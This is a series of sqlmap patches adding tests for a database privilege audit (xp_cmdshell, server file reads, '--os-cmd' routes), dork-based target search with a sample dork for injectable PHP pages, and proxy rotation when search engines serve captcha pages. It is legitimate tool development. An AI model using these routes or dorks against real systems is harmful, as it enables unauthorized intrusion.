configuration metadata': '0'}} + self.assertEqual(audit.failure('configuration', groups), 'configuration: SELECT permission missing on master.sys.configurations') + self.assertEqual(audit.failure('linked servers', groups), 'linked servers: retrieval failed') + + def test_guidance_requires_retrieved_capabilities(self): + from plugins.dbms.mysql.audit import Audit as MySQLAudit + from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit + from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit + from plugins.dbms.oracle.audit import Audit as OracleAudit + for audit in (MySQLAudit(), PostgreSQLAudit(), MSSQLAudit(), OracleAudit()): + self.assertEqual(audit.explain({}), []) + self.assertEqual(MySQLAudit().explain({'privileges': {'direct FILE grant': '0'}}), []) + result = MySQLAudit().explain({'file access': {'secure_file_priv': '/allowed/', 'max_allowed_packet': '1024'}, 'privileges': {'direct FILE grant': '1'}}) + self.assertTrue(any('must be inside' in item for item in result)) + self.assertTrue(any('file size < 1024 bytes' in item for item in result)) + result = MySQLAudit().explain({'file access': {'secure_file_priv': None}, 'privileges': {'direct FILE grant': '1'}}) + self.assertFalse(any('FILE granted; use' in item for item in result)) + result = PostgreSQLAudit().explain({'privileges': {'superuser': '0', 'pg_read_server_files': '1', 'pg_execute_server_program': '0'}}) + self.assertTrue(any('--file-read' in item for item in result)) + self.assertFalse(any('--os-cmd' in item for item in result)) + result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '0'}}) + self.assertTrue(any('EXECUTE permission missing' in item for item in result)) + self.assertFalse(any('--os-cmd' in item for item in result)) + conf.direct = True + result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '0'}, 'identity': {'sysadmin': '1'}}) + self.assertTrue(any('can enable xp_cmdshell' in item for item in result)) + result = MSSQLAudit().explain({'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}}) + self.assertTrue(any('--os-cmd' in item for item in result)) + result = PostgreSQLAudit().explain({'privileges': {'pg_execute_server_program': '1'}}) + self.assertTrue(any('--os-cmd' in item for item in result)) + + def test_execution_advice_uses_known_routes_without_probing(self): + from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit + from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit + inject.getValue = lambda *a, **k: self.fail('guidance must not send probes') + pg = {'privileges': {'pg_execute_server_program': '1'}} + ms = {'configuration': {'xp_cmdshell': '1'}, 'permissions': {'execute xp_cmdshell': '1'}} + for audit, groups in ((PostgreSQLAudit(), pg), (MSSQLAudit(), ms)): + for route in ('none', 'stacked', 'gadget', 'direct'): + kb.injection.data = {PAYLOAD.TECHNIQUE.STACKED: {'title': 'stacked queries'}} if route == 'stacked' else {} + kb.gadget = {'command': 'known gadget'} if route == 'gadget' else None + conf.direct = route == 'direct' + result = audit.explain(groups) + self.assertEqual(any('--os-cmd' in item for item in result), route != 'none') + self.assertEqual(any('no statement execution route identified' in item for item in result), route == 'none') + + def test_rls_setting_does_not_grant_bypass(self): + from plugins.dbms.postgresql.audit import Audit as PostgreSQLAudit + result = PostgreSQLAudit().explain({'configuration': {'row_security': 'off'}, 'privileges': {'superuser': '0', 'bypass RLS': '0'}}) + self.assertFalse(any('bypasses' in item for item in result)) + result = PostgreSQLAudit().explain({'privileges': {'bypass RLS': '1'}}) + self.assertTrue(any('bypasses' in item for item in result)) + + def test_empty_result_requires_confirmed_zero_count(self): + audit = Audit() + audit.dbms = DBMS.MYSQL + for count, expected in ((0, {}), ('0', {}), ([[0]], {}), (None, None), ('1', None)): + calls = [] + def getValue(query, **kwargs): + calls.append(query) + return count if kwargs.get('expected') == EXPECTED.INT else None + inject.getValue = getValue + self.assertEqual(audit._auditFetch('audit_identity'), expected) + self.assertEqual(len(calls), 2) + audit.queries = (('empty scope', ('audit_identity',)),) + inject.getValue = lambda query, **kwargs: 0 if kwargs.get('expected') == EXPECTED.INT else None + self.assertEqual(audit.getAudit(), ['empty scope: no entries']) + + def test_control_characters_are_escaped_in_facts_and_guidance(self): + from plugins.dbms.mysql.audit import Audit as MySQLAudit + value = "/allowed/\n[*] forged\r\x1b[2J" + inject.getValue = lambda query, **kwargs: [['secure_file_priv', 'V' + value]] if '@@GLOBAL.secure_file_priv' in query else [['name\nforged', 'Vsafe']] + result = MySQLAudit().getAudit() + self.assertTrue(any('\\n[*] forged' in item for item in result)) + self.assertFalse(any(any(char in item for char in ('\n', '\r', '\x1b')) for item in result)) + + def test_listing_summary_reports_displayed_and_total(self): + from plugins.dbms.mssqlserver.audit import Audit as MSSQLAudit + from plugins.dbms.oracle.audit import Audit as OracleAudit + links = {'visible linked servers': '200', 'link one': 'destination'} + self.assertIn('Linked servers: showing 1 of 200; use --links for the full list', MSSQLAudit().explain({'linked servers': links})) + grants = {'visible directory grants': '200', 'ONE [READ]': '/one'} + self.assertEqual(OracleAudit().explain({'directory grants': grants}), ['Directory grants: showing 1 of 200']) + + def test_only_observed_settings_are_listed_once(self): + from plugins.dbms.mysql.audit import Audit as MySQLAudit + def getValue(query, **kwargs): + if '@@GLOBAL.secure_file_priv' in query: + return [['secure_file_priv', 'V/allowed/']] + return [['local_infile', 'VOFF']] + inject.getValue = getValue + result = MySQLAudit().getAudit() + self.assertFalse(any('super_read_only' in item for item in result)) + self.assertEqual(sum('/ secure_file_priv:' in item for item in result), 1) + self.assertFalse(any('not established' in item or 'does not establish' in item for item in result)) + + def test_snippets_are_single_read_only_statements(self): + for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE): + set_dbms(dbms) + audit = importlib.import_module('plugins.dbms.%s.audit' % DBMS_DIRECTORY_DICT[dbms]).Audit() + for scope, snippets in audit.queries: + for snippet in snippets: + sql = getSQLSnippet(dbms, snippet, LIMIT="20") + self.assertTrue(sql.startswith('SELECT ')) + self.assertNotIn(';', sql.replace('; RPC out: ', '')) + self.assertIn('audit_value', sql) + + def test_help_is_one_line(self): + output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh']) + lines = [line for line in output.decode('utf-8').splitlines() if '--audit' in line] + self.assertEqual(len(lines), 1) + self.assertLessEqual(len(lines[0]), 78) diff --git a/tests/test_configfile.py b/tests/test_configfile.py index 5ea9a94fb..337d00ddc 100644 --- a/tests/test_configfile.py +++ b/tests/test_configfile.py @@ -114,18 +114,21 @@ class TestConfigFileRoundTrip(unittest.TestCase): conf.url = "http://127.0.0.1:1/?id=1" conf.commonTables = True conf.getLinks = True + conf.getAudit = True conf.authRefresh = "refresh_auth.py" conf.tablePrefix = "zzz" saveConfig(conf, path) conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten" conf.getLinks = False + conf.getAudit = False conf.authRefresh = None configFileParser(path) self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1") self.assertTrue(conf.commonTables) self.assertTrue(conf.getLinks) + self.assertTrue(conf.getAudit) self.assertEqual(conf.authRefresh, "refresh_auth.py") self.assertEqual(conf.tablePrefix, "zzz") finally: diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py index cb966fd0f..faef2e44b 100644 --- a/tests/test_dump_format.py +++ b/tests/test_dump_format.py @@ -76,6 +76,12 @@ class _CaptureCase(unittest.TestCase): class TestStringAndLister(_CaptureCase): + def test_audit_output(self): + self.d.audit(["xp_cmdshell: disabled", "CLR integration: unavailable"]) + self.assertIn("database security audit [2]", self.text()) + self.assertIn("xp_cmdshell: disabled", self.text()) + self.assertIn("CLR integration: unavailable", self.text()) + def test_links_output(self): self.d.links(["remote -> db.example"]) self.assertIn("database links [1]", self.text()) diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py index 9aa6886ca..88181f64b 100644 --- a/tests/test_union_engine.py +++ b/tests/test_union_engine.py @@ -112,6 +112,34 @@ class TestOrderByColumnCount(unittest.TestCase): self.assertEqual(self._detect(25), 25) +class TestNestedOrderBy(unittest.TestCase): + def test_union_preserves_ordering_inside_limited_subquery_and_literals(self): + original_init = uu.initTechnique + original_use = uu._oneShotUnionUse + saved_json = kb.get('jsonAggMode') + saved_run = kb.get('partRun') + set_dbms('Oracle') + captured = [] + def capture(query, *args, **kwargs): + captured.append(query) + raise RuntimeError('stop after query construction') + uu.initTechnique = lambda *args: None + uu._oneShotUnionUse = capture + try: + for inner, outer in (('ORDER BY', 'ORDER BY'), ('Order By', 'order by')): + query = "SELECT a,b FROM (SELECT a,'ORDER BY literal' AS b FROM t %s a,b) x WHERE ROWNUM<=20 %s a" % (inner, outer) + with self.assertRaises(RuntimeError): + uu.unionUse(query) + self.assertIn('FROM t %s a,b)' % inner, captured[-1]) + self.assertIn("'ORDER BY literal'", captured[-1]) + self.assertFalse(captured[-1].rstrip().endswith('%s a' % outer)) + finally: + uu.initTechnique = original_init + uu._oneShotUnionUse = original_use + kb.jsonAggMode = saved_json + kb.partRun = saved_run + + class TestMssqlJsonAggFalsyValues(unittest.TestCase): """Regression: MSSQL UNION dumps use FOR JSON (jsonAggMode), whose output carries native JSON types. A real 0 / '' / false is a value; only JSON null is SQL NULL. The old `row.get(field) or From d57415479ae016db0e4c76abd3a75ad12cb4e34a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 19 Oct 2026 18:37:58 +0200 Subject: [PATCH 014/126] Minor update --- lib/core/settings.py | 2 +- tests/integration/audit/run.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 857a1ce0b..1928b873d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.12" +VERSION = "1.10.10.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/integration/audit/run.py b/tests/integration/audit/run.py index eb91133b1..ae1b3cd32 100644 --- a/tests/integration/audit/run.py +++ b/tests/integration/audit/run.py @@ -4,6 +4,8 @@ This fixture provisioner deliberately changes settings, grants and synthetic files inside its own disposable containers, then verifies the audit over native SQL and real SQLi. """ +from __future__ import print_function + import argparse import concurrent.futures import json From 9b0e2625605281237e3e58af76d7657127507945 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 20 Oct 2026 10:07:33 +0200 Subject: [PATCH 015/126] Fix related to the #6149 --- lib/controller/controller.py | 15 +++++++++++---- lib/core/settings.py | 2 +- 2 files changed, 12 insertions(+), 5 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 69bba347f..0b1cb2c0d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -223,6 +223,9 @@ def _autoWafBypass(place, parameter, value): return retVal +def _targetInfo(): + return {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)} + def _showInjections(): if conf.wizard and kb.wizardMode: kb.wizardMode = False @@ -234,13 +237,12 @@ def _showInjections(): header = "sqlmap resumed the following injection point(s) from stored session" if conf.api: - conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET) + conf.dumper.string("", _targetInfo(), content_type=CONTENT_TYPE.TARGET) conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES) else: - # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without - # printing them (the human-readable injection points are rendered just below) + # --report-json: capture the same TECHNIQUES structure the API emits, without printing it (the + # human-readable injection points are rendered just below); TARGET is reported per target in start() if conf.reportJson: - conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET) conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES) data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n") @@ -522,6 +524,11 @@ def start(): setupTargetEnv() + # --report-json: every tested target gets its own group with its identity, also when nothing is found + # (otherwise its errors, e.g. connection failures, would have no group to land in) + if conf.reportJson: + conf.dumper._reportData(_targetInfo(), CONTENT_TYPE.TARGET) + if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms): continue diff --git a/lib/core/settings.py b/lib/core/settings.py index 1928b873d..f9f08c19a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.13" +VERSION = "1.10.10.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 8461fd402b4a802bfb93c14a9647ca78a1b9796f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 21 Oct 2026 10:37:13 +0200 Subject: [PATCH 016/126] Fixes #6151 --- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- tests/test_databases_enum.py | 22 ++++++++++++++++++++++ 3 files changed, 24 insertions(+), 2 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 8f930538c..404641a54 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1939,7 +1939,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index f9f08c19a..81f4363bf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.14" +VERSION = "1.10.10.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index e1a272a39..fd8bfe910 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -286,6 +286,28 @@ class TestGetTables(_BaseEnumTest): self.assertIn("testdb", result) self.assertEqual(sorted(result["testdb"]), sorted(tables)) + def test_get_tables_inference_spanner(self): + # Spanner's blind template must page per row (it used to crash with "not all arguments converted", #6151) + set_dbms("Spanner") + self._enable_inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + + tables = ["t_a", "t_b"] + queries_ = [] + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(tables)) + queries_.append(query) + return [tables[len(queries_) - 1]] + + dbmod.inject.getValue = gv + result = d.getTables() + self.assertEqual(sorted(result["testdb"]), sorted(tables)) + self.assertEqual([_.endswith("OFFSET %d" % i) for i, _ in enumerate(queries_)], [True, True]) + class TestGetColumns(_BaseEnumTest): def _run_direct(self, dbms, db, tbl, rows): From 5e2a6aeec85da91c80a5f06dad70b0d774c922d0 Mon Sep 17 00:00:00 2001 From: Raju Ranjan <96213832+raju4199@users.noreply.github.com> Date: Wed, 21 Oct 2026 14:11:33 +0530 Subject: [PATCH 017/126] fix(search): parse current Bing result links (#6150) While looking into #6009 I noticed the Bing fallback in -g never returns anything, even when Bing itself serves a normal results page. Two things changed on Bing's side. The result anchor now carries target="_blank" before href, so '

]*>]*href="(?:https?://www\.bing\.com/ck/a\?[^"]*?[?;]u=a1([^&"]+)[^"]*|([^"]+))"' # Dummy user agent for search (if default one returns different results) DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0" diff --git a/lib/utils/search.py b/lib/utils/search.py index 0ac45d72a..abef010cc 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -12,6 +12,7 @@ from lib.core.common import getSafeExString from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import urlencode +from lib.core.convert import decodeBase64 from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf @@ -100,7 +101,7 @@ def _search(dork): # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one) engines = ( ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")), - ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: match.group(1)), + ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: decodeBase64(match.group(1), binary=False) if match.group(1) else match.group(2).replace("&", "&")), ("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)), ) From da210914597b85953a5708b290b468a973efbd6d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 21 Oct 2026 11:08:07 +0200 Subject: [PATCH 018/126] Update regarding the search engines naggings --- lib/core/settings.py | 5 ++- lib/utils/search.py | 3 +- tests/test_dork_search.py | 72 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 78 insertions(+), 2 deletions(-) create mode 100644 tests/test_dork_search.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 6fd91c82f..431dff718 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.15" +VERSION = "1.10.10.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -216,6 +216,9 @@ DUCKDUCKGO_REGEX = r']*>]*href="(?:https?://www\.bing\.com/ck/a\?[^"]*?[?;]u=a1([^&"]+)[^"]*|([^"]+))"' +# Markers of search engine abuse/captcha pages (i.e. used IP address got blocked) +SEARCH_ABUSE_MARKERS = ("detected unusual traffic", "issue with the Tor Exit Node you are currently using", "anomaly.js", "Verifying your browser", "automated queries") + # Dummy user agent for search (if default one returns different results) DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0" diff --git a/lib/utils/search.py b/lib/utils/search.py index abef010cc..95495eca2 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -29,6 +29,7 @@ from lib.core.settings import DUMMY_SEARCH_USER_AGENT from lib.core.settings import GOOGLE_CONSENT_COOKIE from lib.core.settings import GOOGLE_REGEX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE +from lib.core.settings import SEARCH_ABUSE_MARKERS from lib.core.settings import UNICODE_ENCODING from lib.request.basic import decodePage from thirdparty.six.moves import http_client as _http_client @@ -124,7 +125,7 @@ def _search(dork): break # Note: stop at the first engine that actually returns results (others are only fallbacks) # Note: switch proxy (if available) when an abuse/captcha page was served (instead of pointlessly falling through to the next engine from the same blocked IP) - if conf.proxyList and (("detected unusual traffic" in page) or ("issue with the Tor Exit Node you are currently using" in page)): + if conf.proxyList and any(marker in page for marker in SEARCH_ABUSE_MARKERS): warnMsg = "%s has detected 'unusual' traffic from the used IP address" % name raise SqlmapBaseException(warnMsg) diff --git a/tests/test_dork_search.py b/tests/test_dork_search.py new file mode 100644 index 000000000..00c046a60 --- /dev/null +++ b/tests/test_dork_search.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for lib/utils/search.py (dork search), exercising the engine loop by +MOCKING the network layer (_fetch). + +No network is involved: _fetch is patched to return canned search engine result +pages, so we can assert both on the links extracted per engine and on the +abuse/captcha detection that triggers proxy rotation (SEARCH_ABUSE_MARKERS). +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap + +bootstrap() + +from lib.core.data import conf +from lib.core.exception import SqlmapBaseException +from lib.core.settings import SEARCH_ABUSE_MARKERS +import lib.utils.search as smod + +BING_PAGE = '

a

' +DUCKDUCKGO_PAGE = 'b' + +class TestDorkSearch(unittest.TestCase): + def setUp(self): + conf.googlePage = 1 + conf.proxyList = None + self._fetch = smod._fetch + + def tearDown(self): + smod._fetch = self._fetch + + def _pages(self, *pages): + """Patches _fetch to serve `pages` in engine order (None meaning no reply)""" + + served = list(pages) + smod._fetch = lambda *args, **kwargs: served.pop(0) if served else None + + def test_duckduckgo_results(self): + self._pages(DUCKDUCKGO_PAGE) + self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"]) + + def test_bing_fallback_decodes_redirect(self): + self._pages(None, BING_PAGE) + self.assertEqual(smod._search("dork"), ["https://www.example.com/a.php?id=1"]) + + def test_abuse_page_switches_proxy(self): + # Note: without '--proxy-list' there is nothing to switch to, hence no exception + for marker in SEARCH_ABUSE_MARKERS: + self._pages("%s" % marker) + conf.proxyList = None + self.assertEqual(smod._search("dork"), []) + + self._pages("%s" % marker) + conf.proxyList = ["http://127.0.0.1:8080"] + self.assertRaises(SqlmapBaseException, smod._search, "dork") + + def test_results_page_is_not_mistaken_for_abuse(self): + self._pages(DUCKDUCKGO_PAGE) + conf.proxyList = ["http://127.0.0.1:8080"] + self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"]) + +if __name__ == "__main__": + unittest.main() From 5b8a2faab1ca014467e73c80ead03deacc1878af Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 21 Oct 2026 12:10:18 +0200 Subject: [PATCH 019/126] Doing some cleaning for web search requests --- lib/core/settings.py | 9 +-------- lib/parse/cmdline.py | 8 ++++---- lib/utils/search.py | 11 +++++------ sqlmap.conf | 6 +++--- tests/test_dork_search.py | 16 +++++++++++++++- 5 files changed, 28 insertions(+), 22 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 431dff718..df3fea86e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -12,7 +12,6 @@ import random import re import string import sys -import time from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME @@ -20,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.16" +VERSION = "1.10.10.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -204,12 +203,6 @@ JITTER_JUNK_RESPONSES = ( ("", 200), ) -# Regular expression used for extracting results from Google search -GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" - -# Google Search consent cookie -GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) - # Regular expression used for extracting results from DuckDuckGo search DUCKDUCKGO_REGEX = r' 1 else 1 @@ -99,11 +96,13 @@ def _search(dork): encoded = urlencode(dork, convall=True) - # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (DuckDuckGo currently being the only consistently scrapeable one) + # Note: DuckDuckGo's first result page holds 10 entries, while each subsequent one holds 15 (hence the non-linear offset) + ddgOffset = 0 if gpage == 1 else 10 + (gpage - 2) * 15 + + # Note: (name, url, POST data, regex, regex flags, match->link). Ordered by current scraping reliability; tried in turn until one yields results (Google is not in here as it serves results only to JavaScript capable clients) engines = ( - ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, (gpage - 1) * 30), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")), + ("DuckDuckGo", "https://html.duckduckgo.com/html/", "q=%s&s=%d" % (encoded, ddgOffset), DUCKDUCKGO_REGEX, re.I | re.S, lambda match: match.group(1).replace("&", "&")), ("Bing", "https://www.bing.com/search?q=%s&first=%d" % (encoded, (gpage - 1) * 10 + 1), None, BING_REGEX, re.I | re.S, lambda match: decodeBase64(match.group(1), binary=False) if match.group(1) else match.group(2).replace("&", "&")), - ("Google", "https://www.google.com/search?q=%s&num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search&start=%d" % (encoded, (gpage - 1) * 100), None, GOOGLE_REGEX, re.I, lambda match: match.group(1) or match.group(2)), ) for name, url, data, regex, flags, extract in engines: diff --git a/sqlmap.conf b/sqlmap.conf index b844e8598..b6bbb7d5f 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -25,8 +25,8 @@ bulkFile = # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = -# Rather than providing a target URL, let Google return target -# hosts as result of your Google dork expression. For a list of Google +# Rather than providing a target URL, let the search engine return target +# hosts as result of your dork expression. For a list of # dorks see Google Hacking Database at # https://www.exploit-db.com/google-hacking-database # Example: +ext:php +inurl:"&id=" +intext:"powered by " @@ -797,7 +797,7 @@ forms = False # Valid: True or False freshQueries = False -# Use Google dork results from specified page number. +# Use dork results from specified page number. # Valid: integer # Default: 1 googlePage = 1 diff --git a/tests/test_dork_search.py b/tests/test_dork_search.py index 00c046a60..09a3fe951 100644 --- a/tests/test_dork_search.py +++ b/tests/test_dork_search.py @@ -42,7 +42,13 @@ class TestDorkSearch(unittest.TestCase): """Patches _fetch to serve `pages` in engine order (None meaning no reply)""" served = list(pages) - smod._fetch = lambda *args, **kwargs: served.pop(0) if served else None + self.requested = [] + + def fetch(url, headers, data=None): + self.requested.append((url, data)) + return served.pop(0) if served else None + + smod._fetch = fetch def test_duckduckgo_results(self): self._pages(DUCKDUCKGO_PAGE) @@ -52,6 +58,14 @@ class TestDorkSearch(unittest.TestCase): self._pages(None, BING_PAGE) self.assertEqual(smod._search("dork"), ["https://www.example.com/a.php?id=1"]) + def test_duckduckgo_paging_offset(self): + # Note: first result page holds 10 entries, each subsequent one 15 (and not the uniform 30 as previously used) + for gpage, offset in ((1, 0), (2, 10), (3, 25), (4, 40)): + conf.googlePage = gpage + self._pages(DUCKDUCKGO_PAGE) + smod._search("dork") + self.assertEqual(self.requested[0][1], "q=dork&s=%d" % offset) + def test_abuse_page_switches_proxy(self): # Note: without '--proxy-list' there is nothing to switch to, hence no exception for marker in SEARCH_ABUSE_MARKERS: From 11afdcb02640211826b71af11a646a87157d223f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 21 Oct 2026 13:51:35 +0200 Subject: [PATCH 020/126] Fixes #6152 --- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 4 +- tests/test_httpshandler.py | 109 ++++++++++++++++++++++++++++++++++++ 3 files changed, 113 insertions(+), 2 deletions(-) create mode 100644 tests/test_httpshandler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index df3fea86e..6d6f243d2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.10.17" +VERSION = "1.10.10.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index b27764632..b9db9c8b3 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -28,6 +28,8 @@ except ImportError: pass _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) +# Note: SNI (i.e. server_hostname) is a TLS extension, hence only those are used in here (Note: PROTOCOL_TLSv1 is not compiled in on OpenSSL builds without TLS 1.0 support) +_tlsProtocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _contexts = {} @@ -64,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection): # Reference(s): 